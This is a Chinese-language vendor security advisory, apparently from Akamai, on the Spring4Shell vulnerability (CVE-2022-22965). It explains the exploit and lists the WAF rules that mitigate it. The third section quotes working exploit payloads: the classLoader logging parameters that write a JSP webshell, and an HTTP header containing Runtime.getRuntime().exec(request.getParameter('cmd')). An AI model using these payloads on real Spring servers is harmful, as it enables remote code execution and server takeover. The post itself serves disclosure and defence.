缓解Spring Core的“Spring4Shell”零日漏洞

一、概述

2022年3月30日,安全社区广泛注意到Spring(一种流行的开源Java框架)爆出的一个漏洞。Akamai自适应安全引擎第一时间检测到基于该漏洞发起的零日攻击,为Akamai客户提供了保护。

该漏洞的披露时间线以及其他通过非正式方式上报的信息让很多人产生了误解,Akamai希望通过本文向客户和其他感兴趣的相关人员介绍最新情况。

共有两个与Spring产品有关的独立漏洞:

  • CVE-2022-22963,Spring Cloud Function(开源无服务器技术)中的漏洞,已于3月24日提供补丁并公开了漏洞信息。
  • CVE-2022-22965,Spring Core中的另一个漏洞(被称为"Spring4Shell")。Spring Core漏洞的影响更大,因为它涉及核心库,每个Spring项目都可能首此影响。不过也有一些观点认为没那么严重,因为该漏洞需要一个特殊配置,而Spring开发者在开启这项配置时会收到明确警告说这是一个不安全的做法。下文将详细分析该漏洞的相关问题。

就在Spring Core漏洞("Spring4Shell")出现的同一天(3月30日),我们就观察到很多利用企图。

来源:某客户的Akamai Web Security Analytics仪表板结果

二、早期利用企图

一些早期的利用企图中,攻击者会尝试着部署一个WebShell(一种基于Web的远程控制后门文件),借此访问服务器并在服务器上执行任意命令,甚至借此让服务器感染其他恶意软件或在目标网络内部进一步传播。还有一些攻击企图则是在针对该漏洞进行自我测试。以下是我们看到的一些包含有效载荷的攻击范例:

三、多种攻击变体

Spring Core漏洞有多种利用方式,但每个变体中,攻击请求都会重新配置日志参数。借此,攻击者即可设置所需的WebShell页面、文件扩展以及想要写入到的目录:

复制代码
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bf%7Di
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=%48%3a%5c%6d
class.module.classLoader.resources.context.parent.pipeline.first.prefix=aaa
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

请留意class...first.pattern参数中的URL解码文件内容是%{f}i。而正在(被%{})评估的f的值是从名为f的HTTP头中提取的。

复制代码
GET /aaa  HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.7113.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
f: <%Runtime.getRuntime().exec(request.getParameter("cmd"))%>
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1

第一个概念证实漏洞是在Spring的开发者提供官方沟通前由研究人员公布的,而后续的混乱也正是由此开始。虽然这位研究人员立即将自己公布的信息删除,但相关信息已经泄漏并公布至vx-underground(安全研究人员社区)。

随后该漏洞以变体形式再次出现,并且变的更加紧凑。变体之间的主要差别在于:漏洞参数到底是通过POST参数设置,还是通过查询字符串的GET请求设置。后者将需要发送到服务器的请求数量减小到一个。

第二个版本的漏洞还包含潜在的WAF或输入过滤规避能力,并能混淆安全控制机制所查找的敏感代码模式,例如<% , %>以及Runtime.getRuntime()。上传的WebShell文件内容可以包含占位符,Spring可以用相应的头值内容替换这些占位符。

因此class...first.pattern内容中的%{suffix}i将被替换为%>//,而这正是HTTP头的后缀值。

四、通过Akamai自适应安全引擎加以缓解

所有Akamai Kona Site Defender客户已经可以受到保护。Akamai自适应安全引擎可以通过现有的命令注入规则成功检查到Spring Core零日攻击:

  • 3000023 - Apache Struts ClassLoader Manipulation Remote Code Execution

其他有助于缓解该漏洞的Kona Site Defender规则集还包括:

  • Automated Attack Group:
    • 1000005 - Command Injection
  • Kona Rule Set:
    • 3000023 - Apache Struts ClassLoader Manipulation Remote Code Execution

五、总结

Spring Core("Spring4Shell")漏洞的利用门槛低,很可能会影响很多组织。Akamai预计威胁者会利用该漏洞发起数字货币挖矿、DDoS、勒索软件等不同类型的攻击,并在未来几年内以该漏洞为钥匙进入各种组织的内部网络。不过Akamai客户在自适应安全引擎和Kona Site Defender规则集的保护下,并不需要担心此类风险。

Akamai威胁研究团队还在密切监视该漏洞的后续发展,并会在出现新情况后第一时间通知大家。欢迎关注Akamai,第一时间了解最新信息。

相关推荐
無限進步D4 小时前
Java 运行原理
java·开发语言·入门
難釋懷4 小时前
安装Canal
java
是苏浙4 小时前
JDK17新增特性
java·开发语言
不光头强4 小时前
spring cloud知识总结
后端·spring·spring cloud
GetcharZp7 小时前
告别 Python 依赖!用 LangChainGo 打造高性能大模型应用,Go 程序员必看!
后端
阿里加多7 小时前
第 4 章:Go 线程模型——GMP 深度解析
java·开发语言·后端·golang
likerhood7 小时前
java中`==`和`.equals()`区别
java·开发语言·python
运维有小邓@7 小时前
什么是重放攻击?如何避免成为受害者?
运维·网络·安全
小小李程序员7 小时前
Langchain4j工具调用获取不到ThreadLocal
java·后端·ai